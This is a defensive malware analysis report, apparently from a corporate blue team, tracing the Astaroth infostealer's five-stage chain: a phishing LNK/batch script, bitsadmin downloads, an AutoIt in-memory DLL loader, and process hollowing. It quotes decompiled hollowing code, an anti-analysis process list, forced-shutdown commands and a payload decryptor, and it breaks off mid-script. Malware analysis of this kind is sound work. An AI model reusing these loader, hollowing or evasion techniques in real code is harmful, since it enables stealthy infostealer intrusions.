Skip to content

purplededa/Astaroth---Malware-Analysis-Report

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

9 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

Astaroth - Malware Analysis Report

images/Header.png

Deda Cloud Cyber Security Team β€’ 14 Feb 2024

Written By

  • Masciullo Lorenzo
  • Lodari Gianmarco

Cybersecurity BlueTeam, Deda Cloud

Introduction

Astaroth - also known as "Guildma" - is an information stealer written in Delphi language and spread via phishing campaigns since 2017. Its development is based on old programming languages useful to avoid detection. This document provides an in-depth analysis of the 2024 variant of the malware. Numerous samples were identified in early January 2024, particularly targeting companies based in Italy.

During this malware analysis, a "controlled staging initiation" technique has been used in order to initiate the malware's execution at a specified starting stage, thereby demonstrating its atomic functionality. This methodology involves deliberately triggering the malware's operation from a predetermined starting point (i-th stage) to systematically observe and analyze its behavior in an isolated and controlled manner. The objective is to dissect the atomic workings of the malware, providing a detailed understanding of its functionality from the specified initial stage onward.

🌐 JAMESWT on X: "587374 - Aggiornamento Importante sulla Tua Fattura #Astaroth (#Guildma) 09/01/2024 ❇️Samples https://t.co/pt7eosGeri 🎯AnyRun https://t.co/SNG0VjC1ZB https://t.co/p5lEexGue9 IoCs 2Β° tweet ⏬ https://t.co/QIq9qtEXyd" / X (twitter.com)

images/image1.jpeg

Key points

In this document, we will take a deep dive into steps the malware takes to execute the payload through these layers, as well as the various techniques it employs to hinder and slow down the analysis process.

Some of these significant features include:

  • Implementing domain-cloaking to masquerade malicious domains from malware analysts or security researchers redirecting the domain to well-known and legitimate websites like Wikipedia, Google, YouTube, or Instagram.
  • Use of not-conventional programming languages to bypass commonly trained ML-based antimalware engines. Furthermore, the utilization of an interpreter, as opposed to compilation, can be strategically leveraged to introduce noise (AutoIt3) and evade detection by conventional antimalware engines.
  • An unconventional motive for implementing hooking has been identified; the perpetrator employs hooking on a particular exported function with the intention of executing custom arbitrary binary code directly in memory avoiding storing artifacts on the disk.
  • Use of fileless loader in the infection chain helps the IoC's threat to be undiscovered: the use of different execution environments makes the analysis harder because a multi-debugger approach is required.
  • Process Hollowing has been implemented in the final stages of the loader, wherein the code of regsvcs.exe is replaced with the payload associated with Astaroth.

1st stage

images/image2.png

An email, featuring subject matter pertaining to invoicing, is transmitted to the victim. Notably, this email deliberately omits any attachments to facilitate evasion of antispam measures. Instead, it incorporates a hyperlink, which, upon user interaction, initiates the downloading of a compressed archive (ZIP file) onto the targeted computing system.

The compressed archive (ZIP file) contains a shortcut file (LNK) referencing conhost.exe, intending to initiate the command prompt (cmd.exe) via exploitation of the %COMSPEC% environment variable and execute the batch script contained within. The LECmd.exe utility developed by Eric Zimmerman can help parsing of the arguments and extraction of the complete command line.

images/image3.png

Initially, the script initiates the creation of a novel directory within the root of the filesystem (C:) and deposits a Microsoft JScript file (JS) therein. The script is characterized by the incorporation of logical AND operators ("&&") to execute the following command only if the preceding command succeeds. A substantial portion of the script is encoded in Unicode, with a deobfuscated representation provided for clarity in the accompanying image. Notably, for the purpose of circumventing pattern-based scanners, such as those utilizing AMSI interfaces, shell scripts often undergo obfuscation through the introduction of extraneous characters. In this instance, the '^' and '!' characters are observed. The script encapsulates various paths within "!" characters. It defines distinct variables, concatenates them to formulate the succeeding stage, and stores the result in the preceding path. Conclusively, the script concludes by invoking the recently deployed file: call runs based on extension; wscript.exe is the JS default interpreter in Windows. Specifically, an additional JS code is retrieved through the GetObject function, stored in a variable, and ultimately executed by invoking the designated function variable.

images/image4.png

The /V argument is essential for ensuring the accurate functionality of the batch script. This argument facilitates delayed expansion for variables. While immediate expansion utilizes percent signs, delayed expansion is achieved through the use of exclamation points. In this way, the redirection '>' can work to store the file. Additionally, the "set /p" command permits the specification of the entire remaining line as variable content, thereby constituting the content of the file.

2nd stage

The second stage is totally in memory and no code is stored. The analyzed code has been retrieved by the previous GET request. During the real infection chain, function invocation (CGNF in the previous screen) starts this stage. The code is not very obfuscated and with a statical analysis it is possible to beautify the code in a more readable manner.

First, the correct endpoint was chosen from a pool of probably compromised domains.

images/image5.png

Second, a semaphore is implemented to check if target has been already compromised by the same threat. Different paths are checked. The loader has also a variable (renamed during analysis) to force the re-infection anyway.

images/image6.png

Then, the loader can start its job creating a new folder in which it will drop all the required files useful for the correct load of the next stages.

images/image7.png

Bitsadmin is used to download the resources by the previous selected endpoint. Each RunBitsadminTransfer call (renamed during analysis) executes

bitsadmin.exe /transfer 76135447175 /priority foreground [url] [outfile]

images/image8.png

Finally, the script runs to the next stage with the following command line.

C:\TempData27737752820\Eurocom.Precision.01581.6964.246.exe C:\TempData27737752820\Eurocom.Precision.01581.6964.246.log

The following screen shows all the downloads files located in "Temp" folder at the end of second stage. In this sample, "Eurocom.Precision" has been chosen as filename prefix. It can be different in other samples. The EXE file is the signed AutoIt3 interpreter, thus legit. The first LOG file is the semi-compiled AutoIt script (A3X). sdk.log will be used in the 4th stage and contains the encrypted Astaroth payload.

images/image9.png

Avoid analysis with domain-cloaking technique

All the URL used during Astaroth loader provide resources in a specific time range closest to the initial phishing campaign. When this technique is applied on a web address, it is concealed or masked, and a different domain is displayed in the browser's address bar. This is typically achieved through server-side programming or third-party services. Malware authors and attackers may use domain cloaking to make it more challenging for security analysts and automated systems to analyze and detect malicious activities. By constantly changing the appearance of URLs, they can evade detection and analysis tools.

Throughout the duration, these malicious domains have been sustained and maintained a positive reputation following the redirection. Another unconventional protective measure employed in this context involves the blacklisting of your IP address after a certain number of requests. This introduces a heightened level of complexity to the analysis process, as the necessity to alter the IP address arises with each subsequent request. The subsequent list enumerates the Brazilian domains post-redirection: Google, Instagram, Wikipedia, Youtube.

3rd stage

The Eurocom.Precision.01581.6964.246.log is a semi-compiled script run by a specific AutoIt3 interpreter version (AutoIt3 v3.15.2)

It is very important to notice that a script with the same skeleton (including the loader shellcode) can be found on AutoITavAvoidance/lib/MemoryDll.au3 at master Β· lockfale/AutoITavAvoidance Β· GitHub. The repository was created in 2011, thus we can say the author's strategy is based on old-fashion techniques to evade EDR. The main difference with respect to the original codebase is the presence of light obfuscation based on constant calculations, the addition of dead-code and the definition of specific constants.

The main functionality is an in-memory DLL Loader, supported by assembly code which builds an improvised jumptable for the necessary functions, such as VirtualAlloc, VirtualProtect, HeapAlloc.

images/image10.png

The script shows a lot of dead-code instructions and only the last part of the code will be executed. Among the many instructions, the definition of the variable $_OPCODE stands out. It will be initialized with the assembly code, directly. $_OPCODE deals with managing process memory in order to host the new DLL. The DLL to be loaded is hardcoded as a local variable in a function, will be assigned to the global variable $DLLBINARY.

Said shellcode has three different entry points: one to map the DLL and call its entry point, one to retrieve and return the address of an exported function from the in-memory DLL, and one to clear the memory after execution.

For practical reasons, the shellcode invocation will be performed through hooking of !kernel32.LocalCompact routine. The first eight bytes will be replaced with a direct absolute jump to one of the three different shellcode entry points.

images/image11.png

Original !kernel32.LocalCompact

images/image12.png

Hooked !kernel32.LocalCompact

We cannot confirm that the chosen API to hook is important, but it may be the only way to perform an operation such as shellcode invocation in an AutoIt3 script environment without recurring to other Windows APIs such as CreateThread. It may also be possible that this is done as some sort of evasion measure, for example to spoof the stack trace (with the LocalCompact legitimate address), but this cannot be confirmed. The author opted for an evergreen module such as kernel32, as it is automatically loaded in every process by default. Nevertheless, hooking is necessary to execute a form of DLL reflection, given that AutoIt syntax lacks built-in support for it.

Before each shellcode invocation, it will be necessary to fix the address in the absolute jump.

The shellcode takes different arguments for its three different entry points. For in-memory loading, the first argument should be the address of LoadLibraryA, the second argument should be the address of GetProcAddress, and the third argument should be the address of the DLL in memory.

To avoid debugging the semi-compiled script through the interpreter, Aut2Exe has been used to create a single binary file:

Aut2exe.exe /in Eurocom.Precision.01581.6964.246.log.a3x /out stage3.exe

Unfortunately, the program could not run successfully due to problems with AutoIt3 runtime

The compiled script has been decompiled with autoit-ripper

autoit-ripper stage3.exe .

To be able to debug the decompiled script with the AutoIt3 interpreter running it, has been necessary to set high-level breakpoints in the decompiled code through the official AutoIt3 Debugger, then suspend the process with Process Hacker, attach x32dbg and set breakpoints through the debugger. This has been done to dynamically analyze the loader shellcode in the starting analysis and will be explained in detail later in the document.

Initialization

Below is shown the main function of the decompiled script.

images/image13.png

The first subroutine initializes a global variable, which would be a PE file for the DLL which will be loaded in memory. The function "SGULYHRLRBUSVRWYHTMJDESNDYIFJAMDYWOCFEBGKUHVITKGWSTUBOG" is required because the global variable $DLLBINARY must be filled, so the file check should be considered dead-code.

images/image14.png

The MEMORYDLLOPEN subroutine will retrieve the addresses of functions GetProcAddress and LoadLibraryA, which will be saved in local variables, after executing MEMORYDLLINIT routine, using the initialization of $_MDCODEBUFFER variable as a semaphore for executing it only once after the start of the program, so to avoid multiple reflective injections.

images/image15.png

The MEMORYDLLINIT function will initialize the $_MDCODEBUFFER variable, which contains the loader shellcode and computes the three different offsets (0xA1, 0x590, 0x59F) through constant calculations.

images/image16.png

Hooking

The "JLFRPQFKPGCQIEQGMXFXFPHGRQLUWHQCXRPQFKPGCQIEQGSOY" function will set up the hooking bytes at the $_MFHOOKPTR address, after saving the same address in the $_MFHOOKBAK variable.

images/image17.png

images/image18.png

The values written are 184 (0xB8) at address and 57599 (0xFFE0) at address+5.

If we ignore the already existing bytes, this translates to the following:

images/image19.png

This is a direct absolute jump ready to be filled with an address to jump to.

After all these initializations, the MEMORYFUNCSET is the next function to be executed.

images/image20.png

This is fixing the hook with the address of the base of the OPCODE+0xA1, value of $_MDLOADOFFSET.

images/image21.png

In the very next instruction, the hooked API will be called with three arguments, address of LoadLibraryA, address of GetProcAddress and address of the in-memory raw DLL.

images/image22.png

Opcode working

After extracting the OPCODE variable bytes, they can be disassembled in Ghidra. Below is the offset 0xA1, which would be the first address called.

images/image23.png

The three arguments passed on the stack are put in the ECX, EAX and EDX registers. Then

address is pushed again on the stack, along with the value in EBX.

Then, a fake call instruction - call get_current_rva - is executed (call to the next instruction) to push the return address (pointer to next instruction) on the stack.

Given that the call is made to the next address, the program will be in a situation in which the current RIP is also on the stack.

At 0xAB, the value popped in EBX will be equal to the current RIP. This is a trick to understand get the current virtual address of the program.

With the current virtual address in EBX, constant calculations are used to retrieve an offset from said address.

Address-0x4011ab+401100=Address-0xAB which would be the base of the loader shellcode memory page

Address-0x4011ab+401104=Address-0xA7

The addresses in EAX and ECX are saved at the start of the shellcode memory zone, at offset 0 (0xAB-0xAB) and 4.

The following memory zone (from offset 0x8) is an empty jumptable.

images/image24.png

In the next assembly to execute, a similar "call" abuse is used to retrieve the address of a string hardcoded between two assembly blocks.

images/image25.png

At instruction 0xE1, the value popped in EAX would be the address of the string "user32.dll". The same technique is used to choose the name of the function to retrieve with GetProcAddress.

images/image26.png

The function is retrieved thanks to GetProcAddress, and stored at offset 0x71.

images/image27.png

The previous jumptable is now filled programmatically in this way.

images/image28.png

After the jumptable, the OPCODE payload contains three invocations, each of them reached by the already discussed previous offsets.

images/image29.png

By decompiling the next assembly blocks thanks to IDA, we can notice that all these functions (of which the addresses have been relabeled by us manually) will be used to manually map the DLL in memory. This routine ends with the call of the next DLL Entry Point (stage 4).

images/image30.png

After these actions, the entry point of the DLL will be invoked, and after its finished, the shellcode should return to the AutoIt3 script normally. This behavior might not occur in any case: subsequent stages could conclude with a system shutdown if the malware detects an analysis environment or alternatively the control to the script will not come back, as tested in the follow sections.

All the remaining parts detailed in this section may not be executed.

images/image31.png

The MEMORYDLLCALL routine will perform many actions, but the most notable is the shellcode invocation with a different offset (0x590) to reach call_injected_DLL. This routine expected an argument "FNNXqtkboyaqveHAODULyhrlrbLEHNcshufqfkyeOQH" passed directly by MEMORYDLLCALL invocation in AutoIt script (selected line in figure above).

images/image32.png

This shellcode entry point takes a string as an argument and returns the pointer to the function in the in-memory loaded DLL, thus we may suppose that string as an "exported" function name. In this case, the term "exported" is used improperly, since its address is retrieved at runtime.

images/image33.png

To prove our hypothesis, we decided to compile the default Microsoft's DLL and extract the address of the specified "exported" function.

images/image34.png

This library will be embedded in a C program, which implements the shellcode invocation as done in the AutoIt3 script:

  • Allocate memory for the shellcode and declare a correct function pointer (taking as argument three addresses)

images/image35.png

  • Initialize the first two arguments with LoadLibrary and GetProcAddress function pointers

images/image36.png

  • Initialize hex buffer containing raw DLL and allocate memory with the right permission

images/image37.png

  • Initialize in-memory DLL by calling the shellcode first routine (0xA1) with the correct arguments

images/image38.png

  • Initialize function type and arguments for the second routine (0x590)

images/image39.png

  • Call the second shellcode routine to retrieve the address of the function named "fibonacci_next"

images/image40.png

  • Verify that the function can be effectively called

images/image41.png

Analyze dynamically using debugging switching - Part 1

To understand quickly the general purpose of the script, we decided to debug its execution trying to run high-level instruction step by step avoiding treating assembly code, when possible.

This has proven very difficult, due to the impossibility to run the script compiled to EXE (IDA helps us providing pseudocode for binaries), for the compilation problems mentioned before, and to the general anti-debug measure that AutoIt3 offers as a script interpreter. It would not have been possible to debug the program from x32dbg normally. AutoIt3 interpreter allows debugging through the standard AutoIt3 script debugger.

Thus, we adopted the following strategy in order to keep the execution control flow among memory components.

Warning: all the following steps must be executed with high privileges, thus "Run as Administrator", if your interpreter is in default AutoIt3 directory.

After obtaining the decompiled au3 script, we used AutoIt3 Debugger to set a breakpoint after the function creating the hook, MEMORYFUNCSET and before the !kernel32.LocalCompact call. Thus, we wait for the script execution until the breakpoint has been reached.

images/image42.png

Then, thanks to Process Hacker, we successfully suspended the process, detached the AutoIt3 Debugger, and attached it on x32dbg, thus being able to verify the LocalCompact routine hooking, as well as the shellcode in-memory allocation and execution. Finally, resume the process has been possible by Process Hacker, again. In the image below, the first bytes of the OPCODE shellcode are found in memory at the same address pointed by the absolute jump hooking the LocalCompact routine. We notice a difference in the running code: the instructions pointed by the Relative Virtual Address written at run-time in the hooked function are different than OPCODE instructions, so during debug address space moved. So, we need to change JMP address bytes to prosecute debug analysis correctly.

  1. First, we must dump the process when breakpoint has been reached using Process Hacker.
  2. Open the dumped process with IDA: we need to locate the first bytes of OPCODE shellcode in memory during debug. In this instance we find them in RVA 0x063A6410.

images/image43.png

  1. We add the hardcoded offset 0xA1 to the found base: 0x063A6410 + 0xA1 = 0x63A64B1.
  2. Attach debug with x86dbg and substitute the MOV operand in kernel32.dll.LocalCompact and set a new breakpoint on it.

When the script runs in debug mode, you can observe addresses moved to an offset of 0x80000000. So, it is possible to fix decreasing the written address in the MOV operand replacing the first '8' byte with '0'.

Observing the OPCODE in a "Dump" tab, a lot of strings are easily viewable. These strings are the functions stored in the jumptable just generated. After these bytes, you will find three CALL instructions clicking on "View in Disassembler". The first one is executed early, and the other ones will be executed by the next hook's jumps using the remaining offsets.

images/image44.png

Hooking address fixing.

images/image45.png

CALL instructions at the end of jumptable.

  1. Set breakpoints to kernel32.CreateProcessW and kernel32.ResumeThread. This API will be called in the 4th stage, as we can see in the next section.
  2. The debug environment should generate a lot of exceptions making the analysis and the correct working of the infected chain hard. The main reason could be caused by the wrong path composition for the sdk.log file reading, even if the process current working directory seems good. When Delphi's exception 0xEEDFADE occurs, we can set a couple of breakpoints to help to find the string variable containing the sdk.log file path (this step is not easy since the dead code). We made use of HxD to change bytes to the correct destination: a not restricted path is preferable.

Otherwise, you can simply put a copy of sdk.log file into AutoIt interpreter's directory.

Once overwritten, we can resume the debug until CreateProcessW and ResumeThread hit!

images/image46.png

  1. Follow further instructions in the next stage.

4th stage

Also the analysis of the 4th stage has been performed keeping compliance to the "controlled staging initiation" technique. For this reason, the malicious DLL has been extracted from the AutoIt script and its bytes saved on disk using HxD tool. Indeed, the file has a bad reputation, and its signature suggests to us that Borland Delphi compilation has been used. The infection chain can be proved also starting it from this stage, directly. It is possible to run Stage4.dll by x86dbg and it will automatically proceed to "DLLEntryPoint" execution.

images/image47.png

DLL has a main function called "DLLEntryPoint", already invoked by Load_DLL in the previous stage. First, this stage deals with decrypting the sdk.log file using the Unicode encoding of char '*' (0x2A), and after implanting the resulting code in a new process. Follow different VirtualAlloc calls to prepare the required memory segment in order to host the plain-text PE parts. The DLL is characterized by several try-catch statements compiled in Delphi-fashion (using savedregs, NtCurrentTeb()->NtTib.ExceptionList).

images/image48.png

The decryption process is realized through a do-while cycle, so decrypted bytes are written one-by-one in the new allocated area.

	def xor_file():
		with open(".\sdk.log", 'rb') as f_in, open(".\sdk_decr.log",'wb') as f_out:
			while True:
				byte = f_in.read(1)
				if not byte:
					break
				eax = bytes([((byte[0]-0x2A+0x100)&0xFF)])
				f_out.write(eax)

images/image49.png

The author chooses the built-in "regsvcs.exe" process to perform Process Hollowing interspersing it by different sleeps. The following code has been beautified removing a lot of dead-code and try-catch noise. In the code should be recognize the following steps:

Step 1: Creating a new process in a suspended state:

  • CreateProcessW with CREATE_SUSPENDED flag set

Step 2: Swap out its memory contents (unmapping/hollowing):

  • NtUnmapViewOfSection

Step 3: Input malicious payload in this unmapped region:

  • VirtualAllocEx: To allocate new memory
  • WriteProcessMemory: To write each of malware sections to target the process space

Step 4: Setting EAX to the entrypoint:

  • SetThreadContext

Step 5: Start the suspended thread:

  • ResumeThread
if ( CreateProcessW(lpApplicationName, 0, 0, 0, 0, CREATE_SUSPENDED, 0, 0, &StartupInfo, &ProcessInformation) )
{
	v7 = rand_val(0x14Du);
	Sleep_0(v7 + 1666);
	Context.ContextFlags = 65543;
	if ( GetThreadContext(ProcessInformation.hThread, &Context) )
	{
		*v175 = ProcessInformation.dwProcessId;
		ReadProcessMemory(ProcessInformation.hProcess, (LPCVOID)(Context.Ebx + 8), &Buffer, 4u, &NumberOfBytesRead);
		v22 = 3932;
		NtUnmapViewOfSection(ProcessInformation.hProcess, &Buffer);
		v22 = 3932;
		lpBaseAddress = VirtualAllocEx(ProcessInformation.hProcess, lpAddress, dwSize, 0x3000u, PAGE_READWRITE);
		WriteProcessMemory(ProcessInformation.hProcess, lpBaseAddress, lpBuffer, nSize, &NumberOfBytesRead);
		v22 = 3932;
		v170 = v32 + 248;
		v22 = 3932;
		if ( v180 - 1 >= 0 )
		{
			v97 = v180;
			do
			{
				((void (__fastcall *)(int, char *))sub_7494EE78)(40, (char *)lpBuffer + 40 * v172 + v170);
				WriteProcessMemory(
					ProcessInformation.hProcess,
					(char *)lpBaseAddress + v28,
					(char *)lpBuffer + v30,
					v29,
					&NumberOfBytesRead);
				VirtualProtectEx(ProcessInformation.hProcess, (char *)lpBaseAddress + v28, v27, 0x40u, &Buffer);
				++v172;
				- -v97;
			}
			while ( v97 );
		}
		v174 = WriteProcessMemory(
			ProcessInformation.hProcess,
			(LPVOID)(Context.Ebx + 8),
			&lpBaseAddress,
			4u,
			&NumberOfBytesRead);
		v22 = 3932;
		v178 = (int)lpBaseAddress + v181;
		Context.Eax = (DWORD)lpBaseAddress + v181;
		v19 = &v23;
		v18 = a4;
		v17 = v8;
		v22 = 3932;
		v9 = rand_val(0x14Du);
		Sleep_0(v9 + 666);
		if ( Buffer != 4 )
			v22 = 3932;
		if ( v174 )
		{
			v22 = 3932;
			v174 = SetThreadContext(ProcessInformation.hThread, &Context);
			ResumeThread(ProcessInformation.hThread);
			*v175 = ProcessInformation.dwProcessId;
			v174 = 1;
		}
		else
		{
			CloseHandle_0(ProcessInformation.hProcess);
			v22 = 3932;
			CloseHandle_0(ProcessInformation.hThread);
			sub_7494EDE0(ProcessInformation.dwProcessId);
			((void (__cdecl *)(int))sub_74939598)(1);
		}
		return System::__linkproc__ UStrClr(v10);
	}
	else
	{
		return System::__linkproc__ UStrClr(v11);
	}
}

When ResumeThread API is called, the chain infection continues, and the control passes to the next stage.

images/image50.png

images/image51.png

images/image52.png

images/image53.png

images/image54.png

5th stage

This is the Astaroth payload. This stage also is compiled in Borland Delphi.

The original PE has been extracted by dynamic analysis. In this case, the dump has been executed thanks to x32dbg on the memory zone related to the WriteProcessMemory operation. By inserting a breakpoint on WriteProcessMemory routine, the address in the second argument registers points to the in-memory decrypted version of sdk.log.

x32dbg command:

savedata outfile_name buffer_supplied_to_writeprocessmemory 0x3197 (size of sdk.log)

It is also possible to identify the procedure which transforms the sdk.log file into an effective PE file to be loaded in memory: The first file read by the program is sdk.log. By inserting a breakpoint on CreateFileW and ReadFile, it is possible to identify the buffer in which the encrypted sdk.log file will be written and set a hardware "on access" breakpoint. Later in the code, it is clear that the buffer is being manipulated and its data moved to the final one (the one to be written by WriteProcessMemory)

images/image55.png

images/image56.png

images/image57.png

images/image58.png

Key features

Follow the different steps analyzed and performed by Astaroth payload during its execution.

Step 1: evaluate the execution environment

  • CreateToolhelp32Snapshot
  • WinExec
  • GetModuleHandleW and LoadLibraryW to load wininet.dll module

Step 2: check past compromission with semaphores

  • DirectoryExists to check C:\Users\Public\Libraries\db[hostname]\
  • CreateDirectoryW

Step 3: install persistence

  • GetVolumeInformationW
  • GetUserNameW

Step 4: steal data

  • GetLocaleInfoW to retrieve the local system language
  • GetCursorPosition to retrieve X and Y coordinates of current cursor position

Evasion

Astaroth deactivates itself during analysis recurring to a system shutdown. The renamed function antianalysis is deal with to enumerate processes and searching some research well-known applications. So, if the function returns TRUE then it proceeds to the shutdown routine.

if ( (unsigned __int8)antianalysis(v7, v3, v4, v5) == TRUE )
	shutdown((int)ExceptionList, v16, v17);

Follow the antianalysis function. Each check is performed only if the previous one failed, managing cases with the Boolean variable vm_detect. All the strings used in the Astaroth are encoded. The decoding routing will be analyzed after. Dynamic analysis allows us to rename the second arguments in order to make code more readable with the related software name.

vm_detect = 0;
decode((int)&off_F74E28, &vmtoolsd, a2, a3, a4);
vm_detect = enum_process(*off_FA6150[0], vmtoolsd) != 0;
if ( !vm_detect )
{
	decode((int)L"85657F0A8F7F750094049A565021D5AA3CA039DEE6A7", &sysmon, a2, a3, a4);
	vm_detect = enum_process(*off_FA6150[0], sysmon) != 0;
}
if ( !vm_detect )
{
	decode((int)L"A7069F6B6D1CE9970C9B058205F3867462736A18916B1EE7", &splunkd, a2, a3, a4);
	vm_detect = enum_process(*off_FA6150[0], splunkd) != 0;
}
if ( !vm_detect )
{
	decode((int)&off_F74F78, &splunk_winevtlog, a2, a3, a4);
	vm_detect = enum_process(*off_FA6150[0], splunk_winevtlog) != 0;
}
if ( !vm_detect )
{
	decode((int)L"DCC6DE9117E094697A627A088E691FD3C0DAC4BB3D38", &x32dbg, a2, a3, a4);
	vm_detect = enum_process(*off_FA6150[0], x32dbg) != 0;
}
if ( !vm_detect )
{
	decode((int)L"D7C5DCAC2AD8AC4751574E36B05722DBCDD6CEB5", &wireshark, a2, a3, a4);
	vm_detect = enum_process(*off_FA6150[0], wireshark) != 0;
}
if ( !vm_detect )
{
	decode((int)&off_F750D8, &ollydb, a2, a3, a4);
	vm_detect = enum_process(*off_FA6150[0], ollydb) != 0;
}
if ( !vm_detect )
{
	decode((int)L"188F09FF867503F4E3FBE4A022E4936A7D766120A454", &DbgX_Shell, a2, a3, a4);
	vm_detect = enum_process(*off_FA6150[0], DbgX_Shell) != 0;
}
if ( !vm_detect )
{
	decode((int)L"4F5B45C9CFAB5939AF2EB45E5925D0B1", &SbieSvc, a2, a3, a4);
	vm_detect = enum_process(*off_FA6150[0], SbieSvc) != 0;
}
if ( !vm_detect )
{
	decode((int)L"84657113937F7606910F89098D770CE1", &QEMU_GA, a2, a3, a4);
	vm_detect = enum_process(*off_FA6150[0], QEMU_GA) != 0;
}
if ( !vm_detect )
{
	decode((int)&off_F75228, &VBoxService, a2, a3, a4);
	vm_detect = enum_process(*off_FA6150[0], VBoxService) != 0;
}
if ( !vm_detect )
{
	decode((int)&off_F75298, &DLLLoader32, a2, a3, a4);
	vm_detect = enum_process(*off_FA6150[0], DLLLoader32) != 0;
}
__writefsdword(0, v5[0]);
v6 = (int *)&loc_F74E12;
return sub_CEB8F8(&DLLLoader32, 12);
}
The following piece of code is invoked by *enum_process* function in a sneaky way (exploiting SEH stack). It performs further checks.
decode((int)L"993AA2606520D7920498008B0AF28174", &v39, a1, a2, a3);// OllyDbg
sub_CEBCD0(&v40, v39);
decode((int)&off_F757CC, &ImmunityDebugger, a1, a2, a3);// ImmunityDebugger
sub_CEBCD0(&v41, ImmunityDebugger);
decode((int)L"93039B787F00F487118E17E2E5AF", &WinDbg, a1, a2, a3);// WinDbg
sub_CEBCD0(&v42, WinDbg);
decode((int)L"31AE37CEC84330D2C0DAC5B333D4A369", &IDAPro, a1, a2, a3);// IDA Pro
sub_CEBCD0(&v43, IDAPro);
decode((int)L"34B42CC6C14236C3D2C9D3B93CD6A2647169741B9D6D1BD2C5D5CFBC3BCBB9495D7C", &ProcessExplorer, a1, a2, a3);// Process Explorer
sub_CEBCD0(&v44, ProcessExplorer);
decode((int)L"435E473ABFB84D32A433AB4640CDBA594B554C39BE4D3BC1D4C2DBA92FD9AE54", &ProcessMonitor, a1, a2, a3);// Process Monitor
sub_CEBCD0(&v45, ProcessMonitor);
decode((int)L"8711897D7B06F08B1D960EE5E0AB", &v33, a1, a2, a3);// Regmon
sub_CEBCD0(&Regmon, v33);
decode((int)&off_F75A6C, &Filemon, a1, a2, a3);// Filemon
sub_CEBCD0(&v47, Filemon);
decode(
	(int)L"37A830C3C24236DBCAD3CD484F3F35C3D2DDC7BA3CCDBA475D7C66169F5F2AD8CFD4CCB430D4A3667F607B0A",
	&TCPView,
	a1,
	a2,
a3); // TCPView
sub_CEBCD0(&v48, TCPView);
decode(
	(int)L"746C750B8C7D0BFDEBF4ED9510F6837A6C455F28A16316EEF99905880DEC9A687E1B83767009FDF3E5FCE59412E99E66",
	&Autoruns,
	a1,
	a2,
a3); // Autoruns
sub_CEBCD0(&v49, Autoruns);
decode((int)&off_F75C4C, &Wireshark, a1, a2, a3);// Wireshark
sub_CEBCD0(&v50, Wireshark);
decode((int)L"28821AECEB936126B03EA7595F1DEB98", &Dumpcap, a1, a2, a3);// Dumpcap
sub_CEBCD0(&v51, Dumpcap);
decode((int)L"E1CED6AF36C9BFB124B12BC7CFB342C7DECAD2A322DDAB5144A038C2C2BD", &ProcessHacker, a1, a2, a3);// ProcessHacker
sub_CEBCD0(&v52, ProcessHacker);
decode((int)&off_F75D84, &SysAnalyzer, a1, a2, a3);// SysAnalyzer
sub_CEBCD0(&v53, SysAnalyzer);
decode((int)L"726B7210966F1AEFF99801F4F295602EB9D9C0B335C0B55C48A5", &HookExplorer, a1, a2, a3);// HookExplorer
sub_CEBCD0(&v54, HookExplorer);
decode((int)L"6747513BBD4B3932A431A855503F35C2D5C5DEA225ED9B6B7B19", &SysInspector, a1, a2, a3);// SysInspector
sub_CEBCD0(&v55, SysInspector);
decode((int)L"C4D9C24A4A29DCA83EA53CC9CFA95C1384637C06", &ImportREC, a1, a2, a3);// ImportREC
sub_CEBCD0(&v56, ImportREC);
decode((int)L"138811E2E49E6B1F88148D707404F197", &PETools, a1, a2, a3);// PETools
sub_CEBCD0(&v57, PETools);
decode((int)L"E3F9E2A222E197687E1C820E8979", &LordPE, a1, a2, a3);// LordPE
sub_CEBCD0(&v58, LordPE);
decode((int)L"87647C0D8B7C0AE3F2E8F0961FDF", &JoeBox, a1, a2, a3);// JoeBox
sub_CEBCD0(&v59, JoeBox);
decode((int)&off_F76024, &Sandbox, a1, a2, a3);// Sandbox
sub_CEBCD0(&v60, Sandbox);
decode((int)&off_F76074, &x32dbg, a1, a2, a3);// x32dbg
sub_CEBCD0(&v61, x32dbg);
decode((int)L"C7D8C04E49C2B14352514D35B34236CADDCBD5AD28E0976D7818", &dbgViewClass, a1, a2, a3);// dbgViewClass
sub_CEBCD0(&v62, dbgViewClass);
decode((int)&off_F76134, &DbgX_Shell_exe, a1, a2, a3);// DbgX.Shell.exe
sub_CEBCD0(&v63, DbgX_Shell_exe);
decode((int)&off_F761BC, &WinObj, a1, a2, a3);// WinObj
sub_CEBCD0(&v64, WinObj);
decode((int)&off_F7627C, &Sysinternal, a1, a2, a3);// Sysinternal
sub_CEBCD0(&v65, Sysinternal);
decode((int)L"FFE4FC8F16E5936E66425A21A75622ECFBE5FF8D09F1867F148F0BE5EE8A781D8B148C64", &Qt, a1, a2, a3);// Qt5152QWindowIcon
sub_CEBCD0(v66, Qt);

It's worth noting that the threat is not focused on evading detection; rather, its sole interest lies in avoiding analysis.

During dynamic analysis it is possible to evade checks easier. With a debug (such as WinDBG or x86dbg) you should change the vm_detect related byte to 0 after each valid branch. Otherwise, is it possible to patch code changing CMP operand to 0 (AL register is the 8-bit version of EAX), after function returned, setting a breakpoint opportunely.

images/image59.png

If an unfriendly environment has been found, the threat decides to shut down the system. The shutdown function performs it twice and in a forced mode. The former with powershell command, the latter with cmd. Commands and arguments are decoded by the same routine, also in this case. The shutdown function prepares both command lines but chooses to shutdown based on an argument (see EDX register before call instruction), arbitrary set to 1.

images/image60.png

The function terminates with a run executed by WinExec.

images/image61.png

Follow the powershell and cmd commands to perform system shutdown.

powershell.exe stop-computer -force
cmd /V /C shutdown -s -t 2 -f

Or, otherwise, the following are the commands to reboot system.

powershell.exe restart-computer -force
cmd /V /C shutdown -r -t 2 -f

Decryption routine analysis

Follow the python version of the extracted decryption routine. The decryption process is subdivided into three subfunctions and requires a sort of key as second argument, thus it can not be defined as a decode function. In this way, the reverse process of the sample can be conducted statically. In the following screen, an output for each decryption process stage has been printed. The key XY7F852V has been retrieved hardcoded.

images/image63.png

The first decryption stage consists of a source string shifting done considering two couples of characters for each iteration and skipping of a single couple at time.

For example, for source string "5E4A523BBC483CC6DFCCD4A422DFAA5F49544D3CBDBA4F39AE3B" as input the couples for each iteration will be: n1=5E, n2=4A; n1=4A, n2=52; n1=52, n2=3B; etc.

The latter couple was xored together the i-th character of the circle-based key; the former couple was used as subtractor for the xor operation's result. The subtraction can be altered based on a specific condition adding the constant 0xFF.

import sys

src = sys.argv[1]
key = sys.argv[2]
index = 2
i = 0
enc_1 = ""

while index < len(src):
